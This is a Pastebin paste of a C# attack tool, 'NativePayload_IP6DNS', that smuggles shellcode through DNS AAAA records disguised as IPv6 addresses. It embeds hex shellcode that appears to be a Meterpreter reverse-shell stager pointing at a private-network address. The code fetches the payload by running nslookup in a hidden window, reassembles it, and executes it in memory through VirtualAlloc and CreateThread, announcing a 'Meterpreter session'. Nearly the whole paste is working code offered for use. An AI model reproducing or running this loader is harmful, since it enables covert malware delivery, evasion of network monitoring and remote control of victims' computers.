CGC_Codes

ip6dns

Jun 7th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 18.97 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Net;
  6. using System.Diagnostics;
  7. using System.Data;
  8. using System.Runtime.InteropServices;
  9.  
  10. namespace NativePayload_IP6DNS
  11. {
  12.     class Program
  13.     {
  14.         static string payload = "fc4883e4f0e8cc0000004151415052"
  15.             + "51564831d265488b5260488b521848"
  16.             + "8b5220488b7250480fb74a4a4d31c9"
  17.             + "4831c0ac3c617c022c2041c1c90d41"
  18.             + "01c1e2ed524151488b52208b423c48"
  19.             + "01d0668178180b020f85720000008b"
  20.             + "80880000004885c074674801d0508b"
  21.             + "4818448b40204901d0e35648ffc941"
  22.             + "8b34884801d64d31c94831c0ac41c1"
  23.             + "c90d4101c138e075f14c034c240845"
  24.             + "39d175d858448b40244901d066418b"
  25.             + "0c48448b401c4901d0418b04884801"
  26.             + "d0415841585e595a41584159415a48"
  27.             + "83ec204152ffe05841595a488b12e9"
  28.             + "4bffffff5d49be7773325f33320000"
  29.             + "41564989e64881eca00100004989e5"
  30.             + "49bc0200115cc0a8013241544989e4"
  31.             + "4c89f141ba4c772607ffd54c89ea68"
  32.             + "010100005941ba29806b00ffd56a05"
  33.             + "415e50504d31c94d31c048ffc04889"
  34.             + "c248ffc04889c141baea0fdfe0ffd5"
  35.             + "4889c76a1041584c89e24889f941ba"
  36.             + "99a57461ffd585c0740a49ffce75e5"
  37.             + "e8930000004883ec104889e24d31c9"
  38.             + "6a0441584889f941ba02d9c85fffd5"
  39.             + "83f8007e554883c4205e89f66a4041"
  40.             + "59680010000041584889f24831c941"
  41.             + "ba58a453e5ffd54889c34989c74d31"
  42.             + "c94989f04889da4889f941ba02d9c8"
  43.             + "5fffd583f8007d2858415759680040"
  44.             + "000041586a005a41ba0b2f0f30ffd5"
  45.             + "575941ba756e4d61ffd549ffcee93c"
  46.             + "ffffff4801c34829c64885f675b441"
  47.             + "ffe7586a005949c7c2f0b5a256ffd5";
  48.  
  49.         public static DataTable _IPV6_IPAddress_Payloads;
  50.  
  51.         static void Main(string[] args)
  52.         {
  53.  
  54.             try
  55.             {
  56.                 _IPV6_IPAddress_Payloads = new DataTable();
  57.  
  58.                 _IPV6_IPAddress_Payloads.Columns.Add("Pay_id", typeof(int));
  59.                 _IPV6_IPAddress_Payloads.Columns.Add("Payload", typeof(string));
  60.                 _IPV6_IPAddress_Payloads.DefaultView.Sort = "Pay_id";
  61.                 _IPV6_IPAddress_Payloads.DefaultView.ToTable("Pay_id");
  62.  
  63.                 Console.ForegroundColor = ConsoleColor.DarkYellow;
  64.                 Console.WriteLine();
  65.                 Console.WriteLine("NativePayload_IPv6DNS tool Published by Damon Mohammadbagher");
  66.                 Console.ForegroundColor = ConsoleColor.Green;
  67.                 Console.WriteLine("Transferring Backdoor Payloads by IPv6_Address and DNS traffic ;)");
  68.                 Console.ForegroundColor = ConsoleColor.Gray;
  69.                 if (args[0].ToUpper() == "PAYLOAD")
  70.                 {
  71.                     Console.WriteLine("Note this code supported only 99 * 10 = 990 bytes payload ");
  72.                     Console.WriteLine("Note this code supported only 99 lines foreach 10 bytes payload \n");
  73.  
  74.                     int c = 0;
  75.                     int counter = 0;
  76.                     int b = 0;
  77.                     string temp = "";
  78.                     foreach (char item in payload)
  79.                     {
  80.                         if (c >= 3)
  81.                         { temp += item + ":"; c = 0; }
  82.                         else if (c <= 4) { temp += item; c++; }
  83.  
  84.                         b++;
  85.  
  86.                         if (b >= 20)
  87.                         {
  88.  
  89.                             if (counter <= 99)
  90.                             {
  91.                                 Console.Write("fe80:" + "1111:" + temp + "ae" + counter);
  92.                             }
  93.                             else if (counter >= 100)
  94.                             {
  95.                                 Console.Write("fe80:" + "1111:" + temp + "a" + counter);
  96.                             }
  97.                             else if (counter >= 999)
  98.                             {
  99.                                 Console.Write("fe80:" + "1111:" + temp + "" + counter);
  100.                             }
  101.                             Console.WriteLine(""); b = 0;
  102.                             temp = "";
  103.                             counter++;
  104.                         }
  105.  
  106.                     }
  107.  
  108.                 }
  109.                 else if (args[0].ToUpper() == "NULL")
  110.                 {
  111.                     Console.WriteLine("Note this code supported only 99 * 10 = 990 bytes payload ");
  112.                     Console.WriteLine("Note this code supported only 99 lines foreach 10 bytes payload \n");
  113.  
  114.                     payload = args[1];
  115.                     int c = 0;
  116.                     int counter = 0;
  117.                     int b = 0;
  118.                     string temp = "";
  119.                     foreach (char item in payload)
  120.                     {
  121.                         if (c >= 3)
  122.                         { temp += item + ":"; c = 0; }
  123.                         else if (c <= 4) { temp += item; c++; }
  124.  
  125.                         b++;
  126.  
  127.                         if (b >= 20)
  128.                         {
  129.  
  130.                             if (counter <= 99)
  131.                             {
  132.                                 Console.Write("fe80:" + "1111:" + temp + "ae" + counter);
  133.                             }
  134.                             else if (counter >= 100)
  135.                             {
  136.                                 Console.Write("fe80:" + "1111:" + temp + "a" + counter);
  137.                             }
  138.                             else if (counter >= 999)
  139.                             {
  140.                                 Console.Write("fe80:" + "1111:" + temp + "" + counter);
  141.                             }
  142.                             Console.WriteLine(""); b = 0;
  143.                             temp = "";
  144.                             counter++;
  145.                         }
  146.  
  147.                     }
  148.  
  149.                 }
  150.                 else
  151.                 {
  152.                     try
  153.                     {
  154.                         __nslookup(args[0], args[1]);
  155.  
  156.                         Exploit(_IPV6_IPAddress_Payloads);
  157.                     }
  158.                     catch (Exception exp)
  159.                     {
  160.                         Console.WriteLine("Main exploit : " + exp.Message);
  161.                     }
  162.                 }
  163.  
  164.             }
  165.             catch (Exception main)
  166.             {
  167.                 Console.WriteLine("Main : " + main.Message);
  168.             }
  169.  
  170.         }
  171.  
  172.         static void Exploit(DataTable payloads)
  173.         {
  174.             string ss = "";
  175.             byte[] __Bytes = new byte[payloads.Rows.Count * 2];
  176.             for (int i = 0; i < payloads.Rows.Count; i++)
  177.             {
  178.                 try
  179.                 {
  180.                    
  181.                     EnumerableRowCollection filter = payloads.AsEnumerable().Where(r => r.Field<int>("Pay_id") == i);
  182.                     foreach (DataRow item in filter)
  183.                     {
  184.                         ss += item.ItemArray[1].ToString();
  185.                     }
  186.                 }
  187.                 catch (Exception)
  188.                 {
  189.  
  190.  
  191.                 }
  192.             }
  193.             try
  194.             {
  195.                 Console.Write("");
  196.                 int Oonagi = payloads.Rows.Count * 2;
  197.                 int t = 0;
  198.                 for (int k = 0; k < Oonagi; k++)
  199.                 {
  200.                     string _tmp1 = ss.Substring(t, 2);
  201.                     byte current1 = Convert.ToByte(_tmp1, 16);
  202.                    
  203.                     Console.Write(_tmp1);
  204.                     __Bytes[k] = current1;
  205.                     t++;
  206.                     t++;
  207.  
  208.                 }
  209.  
  210.                 Console.WriteLine();
  211.                 Console.ForegroundColor = ConsoleColor.Gray;
  212.                 Console.WriteLine("Bingo Meterpreter session by IPv6_Address and DNS traffic ;)");
  213.                 Console.WriteLine("DNS Round-Robin Supported");
  214.                 UInt32 funcAddr = VirtualAlloc(0, (UInt32)__Bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  215.                 Marshal.Copy(__Bytes, 0, (IntPtr)(funcAddr), __Bytes.Length);
  216.                 IntPtr hThread = IntPtr.Zero;
  217.                 UInt32 threadId = 0;
  218.                 IntPtr pinfo = IntPtr.Zero;
  219.  
  220.                 hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
  221.                 WaitForSingleObject(hThread, 0xFFFFFFFF);
  222.             }
  223.             catch (Exception ops1)
  224.             {
  225.  
  226.                 Console.WriteLine("Exploit: " + ops1.Message);
  227.             }
  228.         }
  229.  
  230.         public static void __nslookup(string DNS_AAAA_A, string DnsServer)
  231.         {
  232.  
  233.             int breakpoint_1 = 0;
  234.             string last_octet_tmp = "";
  235.  
  236.            
  237.             int Final_payload_count = 0;
  238.  
  239.             try
  240.             {
  241.  
  242.                
  243.                 ProcessStartInfo ns_Prcs_info = new ProcessStartInfo("nslookup.exe", DNS_AAAA_A + " " + DnsServer);
  244.                 ns_Prcs_info.RedirectStandardInput = true;
  245.                 ns_Prcs_info.RedirectStandardOutput = true;
  246.                 ns_Prcs_info.UseShellExecute = false;
  247.  
  248.  
  249.                 Process nslookup = new Process();
  250.                 nslookup.StartInfo = ns_Prcs_info;
  251.                 nslookup.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  252.                 nslookup.Start();
  253.  
  254.                 string result_Line0 = "";
  255.                 string computerList = nslookup.StandardOutput.ReadToEnd();
  256.                 string[] All_lines = computerList.Split('\t', 'n');
  257.                 int PayloadLines_current_id = 0;
  258.  
  259.  
  260.  
  261.  
  262.                 try
  263.                 {
  264.                     for (int x = 0; x < All_lines.Length; x++)
  265.                     {
  266.                         Console.ForegroundColor = ConsoleColor.DarkGreen;
  267.                         if (All_lines[x].ToUpper().Contains("ADDRESSES:"))
  268.                         {
  269.                            
  270.                             int f = All_lines[x].IndexOf("Addresses:  ") + "Addresses:  ".Length;
  271.                             int l = All_lines[x].LastIndexOf("\r\n");
  272.                             result_Line0 = All_lines[x].Substring(f, l - f);
  273.                             breakpoint_1 = x;
  274.                             break;
  275.                         }
  276.  
  277.  
  278.                     }
  279.                     Console.WriteLine();
  280.  
  281.                     Console.WriteLine();
  282.  
  283.                     string[] temp_normalize0 = result_Line0.Split(':');
  284.  
  285.                    
  286.                     for (int ix = 0; ix < temp_normalize0.Length; ix++)
  287.                     {
  288.                         int count = temp_normalize0[ix].Length;
  289.                         Console.ForegroundColor = ConsoleColor.DarkGreen;
  290.                         if (count < 4)
  291.                         {
  292.                             Console.ForegroundColor = ConsoleColor.Green;
  293.                             for (int j = 0; j < 4 - count; j++)
  294.                             {
  295.                                 temp_normalize0[ix] = "0" + temp_normalize0[ix];
  296.                             }
  297.                         }
  298.                         if (ix == temp_normalize0.Length - 1) { Console.ForegroundColor = ConsoleColor.DarkCyan; }
  299.                         if (ix < temp_normalize0.Length - 6 && ix >= temp_normalize0.Length - 8) { Console.ForegroundColor = ConsoleColor.DarkCyan; }
  300.                         if (ix == temp_normalize0.Length - 2 || ix == temp_normalize0.Length - 3 || ix == temp_normalize0.Length - 4 || ix == temp_normalize0.Length - 5 || ix == temp_normalize0.Length - 6)
  301.                         {
  302.  
  303.  
  304.                             if (temp_normalize0[7].StartsWith("ae"))
  305.                             {
  306.                                 object[] __X = { Convert.ToInt32(temp_normalize0[7].Remove(0, 2)), temp_normalize0[ix] };
  307.                                 _IPV6_IPAddress_Payloads.Rows.Add(__X);
  308.  
  309.                             }
  310.                             else if (temp_normalize0[7].StartsWith("0ae"))
  311.                             {
  312.                                 object[] __X = { Convert.ToInt32(temp_normalize0[7].Remove(0, 3)), temp_normalize0[ix] };
  313.                                 _IPV6_IPAddress_Payloads.Rows.Add(__X);
  314.                             }
  315.  
  316.                                                                          
  317.                         }
  318.  
  319.                         Console.Write(temp_normalize0[ix] + " ");
  320.  
  321.                        
  322.                         last_octet_tmp = "";
  323.                         if (ix == temp_normalize0.Length - 1)
  324.                         {
  325.                            
  326.                             last_octet_tmp += temp_normalize0[ix];
  327.  
  328.                         }
  329.                     }
  330.                    
  331.                     Console.Write(" ==> " + result_Line0);
  332.                     Console.WriteLine();
  333.                    
  334.                     try
  335.                     {
  336.                         if (last_octet_tmp.StartsWith("ae"))
  337.                         {
  338.  
  339.                             PayloadLines_current_id = Convert.ToInt32(last_octet_tmp.ToString().Remove(0, 2));
  340.  
  341.                             Final_payload_count++;
  342.                         }
  343.                         else if (last_octet_tmp.StartsWith("0ae"))
  344.                         {
  345.  
  346.                             PayloadLines_current_id = Convert.ToInt32(last_octet_tmp.ToString().Remove(0, 3));
  347.  
  348.                             Final_payload_count++;
  349.                         }
  350.                     }
  351.                     catch (Exception e0)
  352.                     {
  353.  
  354.                         Console.WriteLine("e0 : " + e0.Message);
  355.                     }
  356.  
  357.  
  358.                 }
  359.                 catch (Exception e00)
  360.                 {
  361.                     Console.WriteLine("e00 : " + e00.Message);
  362.  
  363.                 }
  364.  
  365.  
  366.  
  367.  
  368.                 try
  369.                 {
  370.                     string result_Line_X = "";
  371.                     int end = 0;
  372.                     for (int xx = breakpoint_1 + 1; xx < All_lines.Length; xx++)
  373.                     {
  374.                         if (xx < All_lines.Length)
  375.                         {
  376.                             end = All_lines[xx].LastIndexOf("\r\n");
  377.                         }
  378.                         else if (xx == All_lines.Length - 1)
  379.                         {
  380.                             end = All_lines[xx].LastIndexOf("\r\n\r\n");
  381.                         }
  382.                         result_Line_X = All_lines[xx].Substring(2, end - 2);
  383.                         Console.WriteLine();
  384.                         Console.ForegroundColor = ConsoleColor.DarkGreen;
  385.  
  386.                         string[] temp_normalize = result_Line_X.Split(':');
  387.  
  388.                        
  389.                         for (int ix = 0; ix < temp_normalize.Length; ix++)
  390.                         {
  391.                             int count = temp_normalize[ix].Length;
  392.                             Console.ForegroundColor = ConsoleColor.DarkGreen;
  393.                             if (count < 4)
  394.                             {
  395.                                 Console.ForegroundColor = ConsoleColor.Green;
  396.                                 for (int j = 0; j < 4 - count; j++)
  397.                                 {
  398.                                     temp_normalize[ix] = "0" + temp_normalize[ix];
  399.                                 }
  400.                             }
  401.                             if (ix == temp_normalize.Length - 1) { Console.ForegroundColor = ConsoleColor.DarkCyan; }
  402.                             if (ix < temp_normalize.Length - 6 && ix >= temp_normalize.Length - 8) { Console.ForegroundColor = ConsoleColor.DarkCyan; }
  403.                             if (ix == temp_normalize.Length - 2 || ix == temp_normalize.Length - 3 || ix == temp_normalize.Length - 4 || ix == temp_normalize.Length - 5 || ix == temp_normalize.Length - 6)
  404.                             {
  405.  
  406.  
  407.                                 if (temp_normalize[7].StartsWith("ae"))
  408.                                 {
  409.                                     object[] __X = { Convert.ToInt32(temp_normalize[7].Remove(0, 2)), temp_normalize[ix] };
  410.                                     _IPV6_IPAddress_Payloads.Rows.Add(__X);
  411.  
  412.                                 }
  413.                                 else if (temp_normalize[7].StartsWith("0ae"))
  414.                                 {
  415.                                     object[] __X = { Convert.ToInt32(temp_normalize[7].Remove(0, 3)), temp_normalize[ix] };
  416.                                     _IPV6_IPAddress_Payloads.Rows.Add(__X);
  417.                                 }                          
  418.  
  419.                             }
  420.                             Console.Write(temp_normalize[ix] + " ");
  421.  
  422.  
  423.                            
  424.                             last_octet_tmp = "";
  425.                             if (ix == temp_normalize.Length - 1)
  426.                             {
  427.                                
  428.                                 last_octet_tmp += temp_normalize[ix];
  429.  
  430.                             }
  431.                         }
  432.                        
  433.                         Console.WriteLine(" ==> " + result_Line_X);
  434.                        
  435.                         try
  436.                         {
  437.                            
  438.                             if (last_octet_tmp.StartsWith("ae"))
  439.                             {
  440.  
  441.                                 PayloadLines_current_id = Convert.ToInt32(last_octet_tmp.ToString().Remove(0, 2));
  442.  
  443.                                 Final_payload_count++;
  444.                             }
  445.                             else if (last_octet_tmp.StartsWith("0ae"))
  446.                             {
  447.  
  448.                                 PayloadLines_current_id = Convert.ToInt32(last_octet_tmp.ToString().Remove(0, 3));
  449.  
  450.                                 Final_payload_count++;
  451.                             }
  452.                         }
  453.                         catch (Exception e1)
  454.                         {
  455.                             Console.WriteLine("e1 : " + e1.Message);
  456.  
  457.                         }
  458.                        
  459.                     }
  460.                     Console.WriteLine("PAYLOAD Lines Count: " + Final_payload_count.ToString());
  461.                 }
  462.                 catch (Exception e4)
  463.                 {
  464.  
  465.                     Console.WriteLine("e4 : " + e4.Message);
  466.                 }
  467.  
  468.             }
  469.             catch (Exception e)
  470.             {
  471.  
  472.                 Console.WriteLine(e.Message);
  473.  
  474.  
  475.             }
  476.  
  477.         }
  478.  
  479.  
  480.  
  481.         public static UInt32 MEM_COMMIT = 0x1000;
  482.         public static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
  483.  
  484.         [DllImport("kernel32")]
  485.         private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
  486.         [DllImport("kernel32")]
  487.         private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
  488.         [DllImport("kernel32")]
  489.         private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
  490.  
  491.     }
  492. }
Advertisement
Add Comment
Please, Sign In to add comment